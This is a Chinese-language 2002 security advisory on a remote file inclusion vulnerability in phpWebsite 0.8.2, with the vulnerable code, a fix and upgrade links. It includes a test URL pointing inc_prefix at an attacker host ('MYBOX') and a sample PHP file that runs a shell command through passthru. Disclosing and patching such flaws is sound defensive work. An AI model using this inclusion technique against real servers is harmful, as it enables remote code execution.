phpWebsite PHP远程文件可包含漏洞发布时间:2002-09-27 更新时间:2002-09-27 严重程度:高 威胁程度:普通用户访问权限 错误类型:配置错误 利用方式:服务器模式 BUGTRAQ ID:5779 受影响系统 phpWebsite phpWebsite 0.8.2详细描述 phpWebsite是由PHP编写的程序,可使开发者写定制化插件。 phpWebSite包含modsecurity.php文件如下: -------- modsecurity.php -------- <?php global $inc_prefix; if(!$inc_prefix) { ... } ... include_once($inc_prefix."htmlheader.php"); ?> ---------------------------------- 如果有人提交如下URL: http://SERVER/modsecurity.php?inc_prefix=http://MYBOX/, 可导致modsecurity.php包含远程MYBOX系统上的htmlheader.php文件,如果此文件包含恶意PHP代码,可导致任意命令执行。 测试代码 http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/ --- htmlheader.php --- <? passthru("/bin/ls") ?> ---------------------- 解决方案 在PHP配置文件中关闭'allow_url_fopen'和'register_globals'为OFF。 升级程序: phpWebsite phpWebsite 0.8.2: phpWebsite Upgrade phpWebsite 0.8.3 http://phpwebsite.appstate.edu/downloads/0.8.3/ phpWebsite Upgrade modsecurity.php 1.11 http://res1.stddev.appstate.edu/horde/chora/cvs.php/phpwebsite 相关信息 参考:http://online.securityfocus.com/archive/1/292866 |